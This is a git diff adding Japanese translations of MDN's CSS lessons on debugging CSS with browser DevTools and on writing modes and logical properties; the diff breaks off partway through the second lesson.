href="/ja/docs/Learn/CSS/Building_blocks/Selectors">CSS セレクター</a> + <ul> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">要素・クラス・ID によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">擬似クラスおよび疑似要素によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Combinators">結合子</a></li> + </ul> + </li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/The_box_model">ボックスモデル</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景と枠線</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">テキスト方向の操作</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Overflowing_content">要素のはみ出し（オーバーフロー）</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Values_and_units">CSS の値と単位</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS によるサイズ設定</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Images_media_form_elements">画像・メディア・フォーム要素</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Styling_tables">表のスタイリング</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS のデバッグ</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Organizing">CSS の整理</a></li> +</ol> diff --git a/files/ja/learn/css/building_blocks/debugging_css/index.html b/files/ja/learn/css/building_blocks/debugging_css/index.html new file mode 100644 index 0000000000..77abbd982c --- /dev/null +++ b/files/ja/learn/css/building_blocks/debugging_css/index.html @@ -0,0 +1,206 @@ +--- +title: CSS のデバッグ +slug: Learn/CSS/Building_blocks/Debugging_CSS +tags: + - Beginner + - CSS + - DOM + - Debugging + - DevTools + - Learn + - source +translation_of: Learn/CSS/Building_blocks/Debugging_CSS +--- +<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks/Organizing", "Learn/CSS/Building_blocks")}}</div> + +<p>CSS を書くとき、期待どおりに動作していないように見える問題が発生する場合があります。セレクターは合っているはずなのに何も起こらなかったり、ボックスのサイズが期待したどおりにならなかったりなどです。この記事では CSS の問題をデバッグする方法について案内し、何が起こっているかを調べるのに各モダンブラウザーのデベロッパーツールはどう役立つかを示します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターリテラシー、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアがインストールされている</a>こと、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの扱い</a>、HTML の基本（<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>）および CSS に関するアイデア（<a href="/ja/docs/Learn/CSS/First_steps">CSS の第一歩</a>）に関する基本的な知識を得ている。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>ブラウザーの開発ツールの基本と、 CSS の簡単な検査と編集の方法を学ぶ。</td> + </tr> + </tbody> +</table> + +<h2 id="How_to_access_browser_DevTools" name="How_to_access_browser_DevTools">ブラウザーの開発ツールの使い方</h2> + +<p>「<a href="/ja/docs/Learn/Common_questions/What_are_browser_developer_tools">ブラウザー開発者ツールとは」</a>という記事は、さまざまなブラウザーやプラットフォームでツールにアクセスする方法を説明する最新のガイドです。ほとんどの場合、特定のブラウザで開発することを選択し、そのブラウザに含まれるツールに最も慣れ親しむことになるかもしれませんが、他のブラウザでのアクセス方法を知っておく価値はあります。これは、複数のブラウザ間で異なるレンダリングが表示されている場合に役立ちます。</p> + +<p>また、DevToolsを作成するときに、ブラウザーがさまざまな領域に焦点を合わせていることもわかります。例えば、Firefoxには、CSSレイアウトを視覚的に操作するための優れたツールがいくつかあり、<a href="/ja/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">グリッドレイアウト</a>、<a href="/ja/docs/Tools/Page_Inspector/How_to/Examine_Flexbox_layouts">フレックスボックス</a>、および<a href="/ja/docs/Tools/Page_Inspector/How_to/Edit_CSS_shapes">シェイプ</a>を検査および編集できます。ただし、ページ上の要素に適用されているプロパティや値を検査したり、エディタから変更を加えたりするためのツールなど、基本的なツールはすべての異なるブラウザに共通しています。</p> + +<p>このレッスンでは、CSSを操作するためのFirefox DevToolsの便利な機能をいくつか見ていきます。そのために<a href="https://mdn.github.io/css-examples/learn/inspecting/inspecting.html">、サンプルファイル</a>を使用します。続けたい場合は、新しいタブでこれを読み込み、上のリンク先の記事で説明したようにDevToolsを開きます。</p> + +<h2 id="The_DOM_versus_view_source" name="The_DOM_versus_view_source">DOM とソース表示の違い</h2> + +<p>DevTools を初めて使用する人が困るのは、Web ページの<a href="https://wiki.developer.mozilla.org/ja/docs/Tools/View_source">ソースを表示</a>したとき、またはサーバーに配置した HTML ファイルを見たときに表示されるものと、DevTools の <a href="/ja/docs/Tools/Page_Inspector/UI_Tour#HTML_pane">HTML ペイン</a>に表示されるものが異なることです。「ソースの表示」で表示されるものとほぼ同じように見えますが、いくつかの違いがあります。</p> + +<p>レンダリングされた DOM では、ブラウザはあなたのために書き方の悪い HTML を修正しているかもしれません。例えば <code><h2></code> を開いて <code><h3></code> で閉じるといったように、要素を誤って閉じてしまった場合、ブラウザはあなたが何をしようとしていたのかを理解し、DOM の HTML は開いていた <code><h2></code> を正しく <code><h2></code> で閉じるようになります。ブラウザはすべての HTML を正規化し、DOM は JavaScript によって行われた変更も表示します。</p> + +<p>これと比較して、ソースの表示は、サーバーに保存されている HTML ソース コードにすぎません。DevTools の <a href="/ja/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML#HTML_tree">HTML ツリー</a>には、ブラウザが任意の時点でレンダリングしている内容が正確に表示されるため、実際に何が起こっているのかを知ることができます。</p> + +<h2 id="Inspecting_the_applied_CSS" name="Inspecting_the_applied_CSS">適用された CSS の調査</h2> + +<p>ページ上の要素を選択するには、右クリックまたは Ctrl キーを押しながらクリックして [検査] を選択するか、または DevTools ディスプレイの左側にある HTML ツリーから選択します。<code>box1</code> のクラスを持つ要素を選択してみてください。これは、ページ上の最初の要素で、周囲に枠線で囲まれたボックスが描かれています。</p> + +<p><img alt="DevToolsを開いたこのチュートリアルのサンプルページ。" src="https://mdn.mozillademos.org/files/16606/inspecting1.png" style="border-style: solid; border-width: 1px; height: 1527px; width: 2278px;"></p> + +<p>HTMLの右側にある<a href="/ja/docs/Tools/Page_Inspector/UI_Tour#Rules_view">ルールビュー</a>を見ると、その要素に適用されているCSSのプロパティと値を見ることができるはずです。box1 クラスに直接適用されているルールと、box の先祖から継承されている CSS、この場合は <body> に適用されている CSS が表示されています。これは、予想していなかったCSSが適用されている場合に便利です。おそらくそれは親要素から継承されているもので、この要素のコンテキストでそれを上書きするルールを追加する必要があるでしょう。</p> + +<p>また、速記プロパティを展開する機能も便利です。この例では、<code>margin</code> の短縮形を使用しています。</p> + +<p><strong>小さな矢印をクリックしてビューを展開すると、さまざまなロングハンドプロパティとその値が表示されます。</strong></p> + +<p><strong>パネルがアクティブになっているときは、ルールビューの値のオンオフを切り替えることができます。マウスをかざすとチェックボックスが表示されます。<code>border-radius</code> などのルールのチェックボックスのチェックを外すと、CSS は適用されなくなります。</strong></p> + +<p>これを使って A / B 比較を行い、ルールを適用した方が良く見えるかどうかを判断したり、デバッグの手助けをしたりすることができます。例えば、レイアウトがおかしくなり、どのプロパティが問題の原因になっているのかを調べたい場合などです。</p> + +<h2 id="Editing_values" name="Editing_values">値の変更</h2> + +<p>プロパティのオン/オフに加えて、それらの値を編集できます。おそらく、別の色の方が見栄えが良いかどうかを確認したい、または何かのサイズを微調整したいですか。 DevToolsを使用すると、スタイルシートを編集してページを再ロードする時間を大幅に節約できます。</p> + +<p><strong><code>box1</code> を選択した状態で、境界線に適用された色を示すスウォッチ (小さな色付きの円) をクリックします。カラーピッカーが開き、いくつかの異なる色を試すことができます。同様の方法で、ボーダーの幅やスタイルを変更することができます。</strong></p> + +<p><img alt="カラーピッカーを開いたDevToolsスタイルパネル。" src="https://mdn.mozillademos.org/files/16607/inspecting2-color-picker.png" style="border-style: solid; border-width: 1px; height: 1173px; width: 2275px;"></p> + +<h2 id="Adding_a_new_property" name="Adding_a_new_property">新しいプロパティの追加</h2> + +<p>DevToolsを使ってプロパティを追加することができます。おそらく、<code><body></code> 要素のフォント サイズを継承せず、ボックスに独自のサイズを設定したいことに気がついたのではないでしょうか？これは、CSS ファイルに追加する前に DevTools で試すことができます。</p> + +<p><strong>ルールの閉じ中括弧をクリックすると、ルールへの新しい宣言の入力が開始され、その時点で新しいプロパティの入力を開始することができます。<code>font-size</code> を選択したら、試したい値を入力します。また、[+] ボタンをクリックして同じセレクタで追加ルールを追加し、そこに新しいルールを追加することもできます。</strong></p> + +<p><img alt="DevToolsパネル、新しいプロパティをルールに追加し、フォントのオートコンプリートを開く" src="https://mdn.mozillademos.org/files/16608/inspecting3-font-size.png" style="border-style: solid; border-width: 1px; height: 956px; width: 2275px;"></p> + +<div class="blockIndicator note"> +<p><strong>注</strong>：ルールビューには他にも便利な機能があります。<strong>たとえば</strong>、無効な値の宣言には<strong>取り消し線が引か</strong>れています。詳しくは<a href="/ja/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS">、CSSの確認と編集を</a>ご覧ください。</p> +</div> + +<h2 id="Understanding_the_box_model" name="Understanding_the_box_model">ボックスモデルについて</h2> + +<p>前のレッスンでは<a href="/ja/docs/Learn/CSS/Building_blocks/The_box_model">、ボックスモデル</a>について説明しまし<a href="/ja/docs/Learn/CSS/Building_blocks/The_box_model">た</a>。また、指定したサイズに基づいて要素のサイズの計算方法を変更する代替のボックスモデルと、パディングおよび境界線があることを説明しました。DevToolsは、要素のサイズの計算方法を理解するのに役立ちます。</p> + +<p><a href="/ja/docs/Tools/Page_Inspector/UI_Tour#Layout_view">レイアウトビュー</a>では、選択した要素上のボックス・モデルのダイアグラムと、要素のレイアウト方法を変更するプロパティと値の説明が表示されます。これには、要素で明示的に使用していないが初期値が設定されているプロパティの説明も含まれます。</p> + +<p>このパネルでは、詳細なプロパティの 1 つに <code>box-sizing</code> プロパティがあり、これは要素が使用するボックスモデルを制御します。</p> + +<p><code>box1</code> と <code>box2</code> のクラスを持つ 2 つのボックスを比較してみましょう。どちらも同じ幅 (400px) が適用されていますが、<code>box1</code> の方が視覚的には広くなっています。レイアウトパネルを見ると、<code>content-box</code> を使用していることがわかります。これは、要素に与えたサイズを受け取り、パディングとボーダーの幅を追加する値です。</p> + +<p><code>box2</code> のクラスを持つ要素は <code>border-box</code> を使用しているので、ここでは要素に与えたサイズからパディングとボーダーが差し引かれています。つまり、ページ上でボックスが占めるスペースは、あなたが指定したサイズ（この例では <code>width: 400px</code>）と同じになります。</p> + +<p><img alt="DevToolsのレイアウトセクション" src="https://mdn.mozillademos.org/files/16609/inspecting4-box-model.png" style="border-style: solid; border-width: 1px; height: 1532px; width: 2275px;"></p> + +<div class="blockIndicator note"> +<p><strong>注</strong>：詳細については<a href="/ja/docs/Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model">、ボックスモデルの調査と検査を</a>ご覧ください。</p> +</div> + +<h2 id="Solving_specificity_issues" name="Solving_specificity_issues">詳細度に関する問題の解決</h2> + +<p>開発中に、特に既存のサイトのCSSを編集する必要があるときに、いくつかのCSSを適用させるのに苦労することがあります。何をしても要素がCSSを適用してくれないのです。このような場合、一般的には、より具体的なセレクタが変更を上書きしていることが考えられますが、ここではDevToolsを使用することで解決することができます。</p> + +<p>この例のファイルでは、<code><em></code> 要素に包まれた2つの単語があります。1つはオレンジ色で、もう1つはホットピンク色で表示されています。CSSでは、以下のようにしています。</p> + +<pre class="brush: css notranslate">em { + color: hotpink; + font-weight: bold; +}</pre> + +<p>しかし、スタイルシートの上には <code>.special</code> セレクタ―を持つルールがあります。</p> + +<pre class="brush: css notranslate">.special { + color: orange; +}</pre> + +<p><a href="/ja/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">カスケードと継承</a>のレッスンで特異性について説明したことを思い出していただけると思いますが、クラス セレクタは要素セレクタよりも特異性が高いため、この値が適用されます。特に情報が巨大なスタイルシートのどこかに埋もれている場合は、DevToolsを使用することで、このような問題を見つけることができます。</p> + +<p><code>.special</code> のクラスを持つ <code><em></code> を検査すると、DevToolsがオレンジ色が適用されていることを示し、また、emに適用されている <code>color</code> プロパティが取り消されていることを示しています。これで、クラスが要素セレクタをオーバーライドしていることがわかります。</p> + +<p><img alt="emを選択し、DevToolsを見て、何が色を上書きしているかを確認します。" src="https://mdn.mozillademos.org/files/16610/inspecting5-specificity.png" style="border-style: solid; border-width: 1px; height: 1161px; width: 2275px;"></p> + +<h2 id="Find_out_more_about_the_Firefox_DevTools" name="Find_out_more_about_the_Firefox_DevTools">Firefoxの開発ツールについて</h2> + +<p>MDNには、Firefox DevToolsに関する多くの情報があります。<a href="/ja/docs/Tools">DevTools</a>のメイン<a href="/ja/docs/Tools">セクションを</a>ご覧ください<a href="/ja/docs/Tools/Page_Inspector#How_to">。</a>このレッスンで簡単に説明した内容の詳細については、<a href="/ja/docs/Tools/Page_Inspector#How_to">ハウツーガイドを</a>ご覧ください。</p> + +<h2 id="Debugging_problems_in_CSS" name="Debugging_problems_in_CSS">CSS 不具合のデバッグ</h2> + +<p>CSSの問題を解決する場合、DevToolsは非常に役立ちます。CSSが期待どおりに動作しない状況に陥った場合、どのように解決すればよいでしょうか。次の手順が役立ちます。</p> + +<h3 id="Take_a_step_back_from_the_problem" name="Take_a_step_back_from_the_problem">問題から一歩離れてみる</h3> + +<p>コーディングの問題はどんなものでもイライラすることがありますが、特に CSS の問題は、解決策を見つけるのに役立つようなエラーメッセージをオンラインで検索しても出てこないことが多いので、イライラします。イライラしてきたら、しばらく問題から離れてみましょう。散歩に行ったり、飲み物を飲んだり、同僚とおしゃべりしたり、しばらく他のことに取り組んでみましょう。問題を考えるのをやめれば、魔法のように解決策が現れることもありますし、そうでなくても、スッキリした気分の時に取り組むと、ずっと楽になります。</p> + +<h3 id="Do_you_have_valid_HTML_and_CSS" name="Do_you_have_valid_HTML_and_CSS">HTML と CSS が正しく記述されていますか？</h3> + +<p>ブラウザーはCSSとHTMLが正しく記述されていることを期待しますが、ブラウザーは非常に寛容であり、マークアップまたはスタイルシートにエラーがある場合でも、最善を尽くしてWebページを表示します。コードに誤りがある場合、ブラウザはあなたが何を意味するのかを推測する必要があり、それはあなたが考えていたものとは異なる決定をするかもしれません。さらに、2つの異なるブラウザーが2つの異なる方法で問題に対処する場合があります。したがって、適切な最初のステップは、HTMLおよびCSSをバリデーターで実行し、エラーを見つけて修正することです。</p> + +<ul> + <li><a href="https://jigsaw.w3.org/css-validator/">CSSバリデーター</a></li> + <li><a href="https://validator.w3.org/">HTMLバリデーター</a></li> +</ul> + +<h3 id="Is_the_property_and_value_supported_by_the_browser_you_are_testing_in" name="Is_the_property_and_value_supported_by_the_browser_you_are_testing_in">プロパティと値は対象ブラウザーでサポートされていますか？</h3> + +<p>ブラウザは、理解できないCSSを単に無視します。使用しているプロパティまたは値が、テストしているブラウザーでサポートされていない場合、何も壊れませんが、そのCSSは適用されません。DevToolsは一般的に、サポートされていないプロパティと値を何らかの方法で強調表示します。下のスクリーンショットでは、ブラウザは {{cssxref("grid-template-columns")}} のサブグリッド値をサポートしていません。</p> + +<p><img alt="grid-template-columns：サブグリッド値がサポートされていないため、サブグリッドに線を引いたブラウザDevToolsの画像。" src="https://mdn.mozillademos.org/files/16641/no-support.png" style="height: 397px; width: 1649px;"></p> + +<p>また、MDNの各プロパティページの下部にあるブラウザの互換性の表を見ることもできます。これらの表は、そのプロパティのブラウザのサポート状況を示しており、そのプロパティの一部の使用法がサポートされていて、他の使用法がサポートされていない場合は分類されていることが多いです。以下の表は {{cssxref("shape-outside")}} プロパティの互換性データを示しています。</p> + +<p>{{compat("css.shape-outside")}}</p> + +<h3 id="Is_something_else_overriding_your_CSS" name="Is_something_else_overriding_your_CSS">どこかで CSS が上書きされていませんか？</h3> + +<p>ここで、特異性について学んだ情報が非常に役に立つでしょう。自分が行おうとしていることをより具体的にオーバーライドしているものがある場合、何が何だかわからないという非常にイライラするゲームに突入してしまうことがあります。しかし、上記のように、DevTools を使用すると、どのような CSS が適用されているかが表示されるので、新しいセレクタをオーバーライドするのに十分なほど具体的なものにする方法を見つけることができます。</p> + +<h3 id="Make_a_reduced_test_case_of_the_problem" name="Make_a_reduced_test_case_of_the_problem">問題の縮小テストケースを作成する</h3> + +<p>上記の手順で問題が解決されない場合は、もう少し調査する必要があります。この時点での最善の方法は、縮小テストケースとして知られているものを作成することです。問題を減らす」ことができるということは、非常に有用なスキルです。自分のコードや同僚のコードの問題を見つけるのに役立ちますし、バグを報告したり、より効果的に助けを求めたりすることができるようになります。</p> + +<p>縮小テストケースとは、関連のない周囲のコンテンツやスタイリングを削除して、可能な限りシンプルな方法で問題を示すコード例のことです。これは、問題のあるコードをレイアウトから取り出して、そのコードや機能だけを示す小さな例を作ることを意味することが多いでしょう。</p> + +<p>縮小されたテストケースを作成するには：</p> + +<ol> + <li>マークアップが動的に生成される場合—例えば、CMSを介して—問題を示す出力の静的バージョンを作成します。<a href="https://codepen.io/">CodePen</a>などのコード共有サイトは、オンラインでアクセスでき、同僚と簡単に共有できるため、テストケースを減らすのに役立ちます。まず、ページで[ソースの表示]を実行し、HTMLをCodePenにコピーしてから、関連するCSSとJavaScriptを取得して、それも含めます。その後、問題がまだ明らかかどうかを確認できます。</li> + <li>JavaScriptを削除しても問題が解決しない場合は、JavaScriptを含めないでください。JavaScriptを削除<em>し</em>ても問題が解決しない場合は、できるだけ多くのJavaScriptを削除して、問題の原因はすべて残してください。</li> + <li>問題の原因となっていないHTMLを削除します。コンポーネントまたはレイアウトの主要な要素を削除します。繰り返しになりますが、まだ問題を示している最小限のコードになるようにしてください。</li> + <li>問題に影響を与えないCSSをすべて削除します。</li> +</ol> + +<p>その過程で、何が問題を引き起こしているのかを発見したり、特定の何かを取り除くことで、 <span>少なくとも問題のオン/オフを切り替えることができ</span>るようになるかもしれません。あなたが物事を発見したときに、あなたのコードにいくつかのコメントを追加する価値はあります。助けを求める必要がある場合は、それがあなたがすでに試したものを助けてくれる人に伝えてくれます。<span>これにより、考えられる問題や回避策を検索するのに十分な情報が得られる場合があります。</span></p> + +<p>問題を解決するのにまだ苦労している場合は、テストケースを減らすことで、フォーラムに投稿したり、同僚に見せたりして、助けを求めることができます。助けを求める前に、問題を軽減し、どこで問題が発生しているかを正確に特定する作業を行ったことを示すことができれば、助けを得る可能性が高くなります。経験豊富な開発者であれば、問題を迅速に発見して正しい方向に導くことができるかもしれませんが、そうでない場合でも、テストケースを縮小したことで、開発者はすばやく確認することができ、少なくとも何らかの助けを提供できるようになるでしょう。</p> + +<p>問題が実際にブラウザーのバグである場合、テストケースの縮小を使用して、関連するブラウザーベンダーにバグレポートを提出することもできます（例：Mozillaの<a href="https://bugzilla.mozilla.org">bugzillaサイト</a>）。</p> + +<p>CSS を使いこなせるようになると、問題を発見するのが早くなることに気づくでしょう。しかし、最も経験豊富な人でも、「一体何が起こっているのか」と疑問に思うことがあります。体系的なアプローチをとり、テストケースを減らし、他の人に問題を説明すると、通常、修正が見つかります。</p> + +<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks/Organizing", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ol> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">カスケードと継承</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors">CSS セレクター</a> + <ul> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">要素・クラス・ID によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">擬似クラスおよび疑似要素によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Combinators">共役</a></li> + </ul> + </li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/The_box_model">ボックスモデル</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景と枠線</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">テキスト方向の操作</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Overflowing_content">要素のはみ出し（オーバーフロー）</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Values_and_units">CSS の値と単位</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS によるサイズ設定</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Images_media_form_elements">画像・メディア・フォーム要素</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Styling_tables">表のスタイリング</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS のデバッグ</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Organizing">CSS の整理</a></li> +</ol> diff --git a/files/ja/learn/css/building_blocks/handling_different_text_directions/index.html b/files/ja/learn/css/building_blocks/handling_different_text_directions/index.html new file mode 100644 index 0000000000..d3a5c98298 --- /dev/null +++ b/files/ja/learn/css/building_blocks/handling_different_text_directions/index.html @@ -0,0 +1,153 @@ +--- +title: テキスト方向の操作 +slug: Learn/CSS/Building_blocks/Handling_different_text_directions +tags: + - Beginner + - CSS + - Learn + - logical properties + - writing modes +translation_of: Learn/CSS/Building_blocks/Handling_different_text_directions +--- +<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}}</div> + +<p>CSSの学習でこれまでに遭遇したプロパティと値の多くは、画面の物理的な大きさに関係しています。たとえば、ボックスの上下左右にborderを作成します。これらの物理的大きさは、水平に表示されるコンテンツに非常にきちんとマッピングされ、デフォルトでは、ウェブは右から左への言語（アラビア語など）よりも左から右への言語（英語やフランス語など）をサポートする傾向があります。</p> + +<p>しかし近年、CSSは、右から左へのコンテンツや上から下へのコンテンツ（日本語など）を含むコンテンツのさまざまな方向性をより適切にサポートするために進化しました。これらのさまざまな方向性は<strong>書き込みモード</strong>と呼ばれます。学習を進めてレイアウトの操作を開始すると、書き込みモードを理解することが非常に役立ちます。そのため、これらのモードを紹介します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターリテラシー、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアがインストールされている</a>こと、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの扱い</a>、HTML の基本（<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>）および CSS に関するアイデア（<a href="/ja/docs/Learn/CSS/First_steps">CSS の第一歩</a>）に関する基本的な知識を得ている。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>最新の CSS の "writing modes" の重要性を理解する。</td> + </tr> + </tbody> +</table> + +<h2 id="What_are_writing_modes" name="What_are_writing_modes">書き込みモードとは？</h2> + +<p>CSSの書き込みモードは、テキストが水平方向または垂直方向のどちらで実行されているかを示します。{{cssxref("writing-mode")}} プロパティにより、ある書き込みモードから別の書き込みモードに切り替えることができます。これを行うために縦書きモードを使用する言語で作業する必要はありません。また、創造的な目的のためにレイアウトの一部の書き込みモードを変更することもできます。<br> + <br> + 次の例では、<code>writing-mode: vertical-rl</code>を使用して見出しを表示しています。これで、テキストが垂直方向に実行されます。縦書きテキストはグラフィックデザインでは一般的であり、Webデザインにより興味深い外観を追加する方法になります。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/simple-vertical.html", '100%', 800)}}</p> + +<p><code><a href="/ja/docs/Web/CSS/writing-mode">writing-mode</a></code> プロパティの3つの可能な値は次のとおりです:</p> + +<ul> + <li><code>horizontal-tb</code>: 上から下へのブロックの流れの方向。文は水平に実行されます。</li> + <li><code>vertical-rl</code>: 右から左へのブロックの流れの方向。文は垂直に実行されます。</li> + <li><code>vertical-lr</code>: 左から右へのブロックの流れの方向。文は垂直に実行されます。</li> +</ul> + +<p>したがって、<code>writing-mode</code>プロパティは、実際には、ページにブロックレベルの要素が表示される方向（上から下、右から左、または左から右）を設定します。これにより、文章内のテキストの流れが決まります。</p> + +<h2 id="Writing_modes_and_block_and_inline_layout" name="Writing_modes_and_block_and_inline_layout">"writing modes" と ブロックレイアウトとインラインレイアウト</h2> + +<p><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/CSS/Building_blocks/The_box_model">ブロックとインラインのレイアウト</a>、およびいくつかの要素がブロック要素として表示され、他の要素がインライン要素として表示されるという事実についてはすでに説明しました。上で説明したように、ブロックとインラインは、物理的な画面ではなく、ドキュメントの書き込みモードに関連付けられています。英語などのテキストを水平方向に表示する書き込みモードを使用している場合、ブロックはページの上から下にのみ表示されます。</p> + +<p>例を見れば、これはより明確になります。この次の例では、見出しと段落を含む2つのボックスがあります。 1つ目は、<code>writing-mode: horizontal-tb</code>を使用します。これは、水平にページの上部から下部に向かって書き込まれる書き込みモードです。 2番目は<code>writing-mode: vertical-rl</code>を使用します;これは、垂直に右から左に書き込まれる書き込みモードです。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/block-inline.html", '100%', 1200)}}</p> + +<p>書き込みモードを切り替えると、ブロックの方向とインラインの方向が変更されます。 <code>horizontal-tb</code>書き込みモードでは、ブロックの方向は上から下に向かっています。 <code>vertical-rl</code>書き込みモードでは、ブロックの方向は右から左に水平に実行されます。したがって、<strong>block dimension</strong> は常に、使用中の書き込みモードでページにブロックが表示される方向です。 <strong>inline dimension</strong>は、常に文が流れる方向です。</p> + +<p>この図は、横書きモードでの2つのdimensionsを示しています。<img alt="Showing the block and inline axis for a horizontal writing mode." src="https://mdn.mozillademos.org/files/16574/horizontal-tb.png" style="height: 353px; width: 634px;"></p> + +<p>この図は、縦書きモードの2つのdimensionsを示しています。</p> + +<p><img alt="Showing the block and inline axis for a vertical writing mode." src="https://mdn.mozillademos.org/files/16575/vertical.png" style="height: 472px; width: 406px;"></p> + +<p>CSSレイアウト、特に新しいレイアウトメソッドを検討し始めると、このブロックとインラインの考え方が非常に重要になります。後で再検討します。</p> + +<h3 id="Direction" name="Direction">方向</h3> + +<p>書き込みモードに加えて、テキストの方向もあります。上記のように、アラビア語などの一部の言語は水平に書かれていますが、右から左に書かれています。これは、創造的な意味で使用する可能性のあるものではありません。単に右側に何かを並べたい場合は、他の方法もありますが、CSSの性質の一部としてこれを理解することが重要です。 Webは、左から右に表示される言語専用ではありません！<br> + <br> + 書き込みモードとテキストの方向が変更される可能性があるため、新しいCSSレイアウトメソッドは、左右、上下を参照しません。代わりに、インラインとブロックのこのアイデアとともに、開始と終了について話します。心配する必要はありませんが、レイアウトを見始めるときにはこれらのアイデアに留意してください。 CSSを理解する上で非常に役立ちます。</p> + +<h2 id="Logical_properties_and_values" name="Logical_properties_and_values">論理プロパティと値</h2> + +<p>ただし、学習のこの時点で書き込みモードと方向を記述することについて説明する理由は、私たちはすでに、画面の物理的な大きさに関連付けられた多くのプロパティを見ており、横書きモードのときに最も意味があるという事実のためです</p> + +<p>2つのボックスをもう一度見てみましょう。1つは <code>horizontal-tb</code> の書き込みモード、もう1つは <code>vertical-rl</code>です。これらの両方のボックスに {{cssxref("width")}} を指定しました。ボックスが縦書きモードでも width があるため、テキストがオーバーフローすることがわかります。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/width.html", '100%', 1200)}}</p> + +<p>このシナリオで本当に必要なのは、書き込みモードに合わせて基本的にheightとwidthを入れ替えることです。縦書きモードのときは、横書きモードの場合と同じように、ボックスをブロックのディメンションで拡大したいです。<br> + <br> + これを簡単にするために、CSSは最近マッピングされたプロパティのセットを開発しました。これらは本質的に、物理的なプロパティ（<code>width</code> や <code>height</code> など）を<strong>論理的な</strong>、または<strong>フローに関連する</strong>バージョンに置き換えます。<br> + <br> + 横書きモードで<code>width</code>にマップされるプロパティは{{cssxref("inline-size")}} と呼ばれます。これはインラインディメンションのサイズを参照します。<code>height</code>のプロパティの名前は{{cssxref("block-size")}} で、ブロックディメンションのサイズです。<code>width</code>を<code>inline-size</code>に置き換えた以下の例で、これがどのように機能するかを見ることができます。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/inline-size.html", '100%', 1200)}}</p> + +<h3 id="Logical_margin_border_and_padding_properties" name="Logical_margin_border_and_padding_properties">論理マージン、ボーダー、パディングのプロパティ</h3> + +<p>最後の2つのレッスンでは、CSSのボックスモデルとCSSのボーダーについて学びました。マージン、ボーダー、およびパディングのプロパティには{{cssxref("margin-top")}}, {{cssxref("padding-left")}}, および {{cssxref("border-bottom")}} があります。widthとheightのマッピングと同じ方法で、これらのプロパティのマッピングがあります。<br> + <br> + <code>margin-top</code>プロパティは{{cssxref("margin-block-start")}}にマップされます—これは常にブロックディメンションの先頭のマージンを参照します。<br> + <br> + 